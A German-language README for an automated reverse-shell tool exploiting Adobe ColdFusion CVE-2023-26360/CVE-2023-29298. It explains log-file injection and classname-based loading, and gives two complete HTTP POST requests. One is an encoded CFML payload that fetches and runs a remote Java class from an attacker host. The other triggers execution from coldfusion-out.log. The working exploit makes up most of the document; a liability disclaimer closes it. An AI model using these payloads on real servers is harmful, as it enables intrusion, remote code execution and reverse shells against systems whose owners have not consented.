
Adobe ColdFusion CVE-2023-26360/CVE-2023-29298 automatisierte Reverse-Shell
CVE-2023-29298/CVE-2023-26360 Exploit-Reverse-Tool
Das Prinzip der Schwachstelle: Wenn wir CFML-Datenanfragen an den Client senden, werden diese im Server-coldfusion-out.log gespeichert. Dieses Verzeichnis zeichnet Fehlermeldungen von Anfragen auf. In der Datei coldfusion-out.log befindet sich dann unser eingefügter Code. Anschließend verwenden wir classname, um diese Logdatei zu lesen und auszuführen, wodurch Codeausführung erreicht wird.
Ich habe eine Idee: Indem wir eine bösartige Klasse auf den Server legen, diese herunterladen, speichern und aufrufen. Über die oben genannte Schwachstelle lädt er dynamisch die Klasse und führt unsere Klassendatei aus.
Dazu schreiben wir ein Skript, das ein Archiv erstellt. Im Archiv befindet sich das Verzeichnis code:
utilize
├── address
└── Poc.class
In Poc.java ist hauptsächlich der Reverse-Code enthalten.
address enthält die Adresse und den Port.
Die Umsetzung dieser Funktion ist sehr, sehr aufwändig. Ich habe ein automatisiertes Generierungstool geschrieben, das Java-Bytecode erstellt, die Reverse-IP und den Port festlegt, und dann einen Webserver startet.
toolName -host <Reverser-IP> -port <Reverser-Port> -p <HTTP-Port> (Standard: 8888)

Schauen Sie:

Dann fordern wir das Schreiben des Log-Fehler-Codes an. Ersetzen Sie http://192.168.191.58:8888/GjfZgo im POST-Datenteil unten durch die Adresse, auf der Ihr Server läuft.
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 816
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables=%7b%3ccftry%3e%3ccfset%20szlh%20%3d%20createObject%28%27java%27%2c%27java.net.URL%27%29.init%28%27http://192.168.191.58:8888/GjfZgo%27%29/%3e%3ccfset%20cafb%20%3d%20createObject%28%27java%27%2c%27java.lang.reflect.Array%27%29/%3e%3ccfset%20ireh%20%3d%20cafb.newInstance%28szlh.getClass%28%29%2c1%29/%3e%3ccfset%20cafb.set%28ireh%2c0%2cszlh%29/%3e%3ccfset%20fxlt%20%3d%20createObject%28%27java%27%2c%27java.net.URLClassLoader%27%29.init%28ireh%2cjavaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfset%20fxlt.loadClass%28%27code.Payload%27%29.newInstance%28%29.main%28javaCast%28%27null%27%2c%27%27%29%29/%3e%3ccfcatch%20type%3d%27any%27%3e%3c/cfcatch%3e%3ccffinally%3e%3ccffile%20action%3d%27write%27%20file%3d%27%23GetCurrentTemplatePath%28%29%23%27%20output%3d%27%27%3e%3c/cffile%3e%3c/cffinally%3e%3c/cftry%3e
Dann führen Sie den Code aus der Logdatei aus (fest codiert, direkt senden):
POST //cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=zfgea&_cfclient=true HTTP/1.1
Host: 192.168.56.105:8500
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Connection: close
_variables={"_metadata":{"classname":"l/../logs/coldfusion-out.log"},"_variables":[]}
Ausführen und nachsehen – der Reverser ist online:

Dieses Sicherheitstool dient ausschließlich zu Forschungs- und Bildungszwecken. Bei der Nutzung des Tools sind die geltenden Gesetze, Vorschriften und ethischen Richtlinien einzuhalten.
Das Tool kann Tests von Sicherheitslücken und Penetrationstests beinhalten. Verwenden Sie es nur im autorisierten Bereich; andernfalls übernimmt der Autor keine Verantwortung.
Die Nutzung dieses Tools kann mit gewissen Risiken und Unsicherheiten verbunden sein. Der Benutzer sollte alle Risiken, die mit der Nutzung des Tools verbunden sind, selbst tragen.
Der Benutzer trägt das volle Risiko und die Verantwortung für die Nutzung dieses Tools. Der Entwickler übernimmt keinerlei Haftung für Folgen, die sich aus der Nutzung des Tools durch den Benutzer ergeben.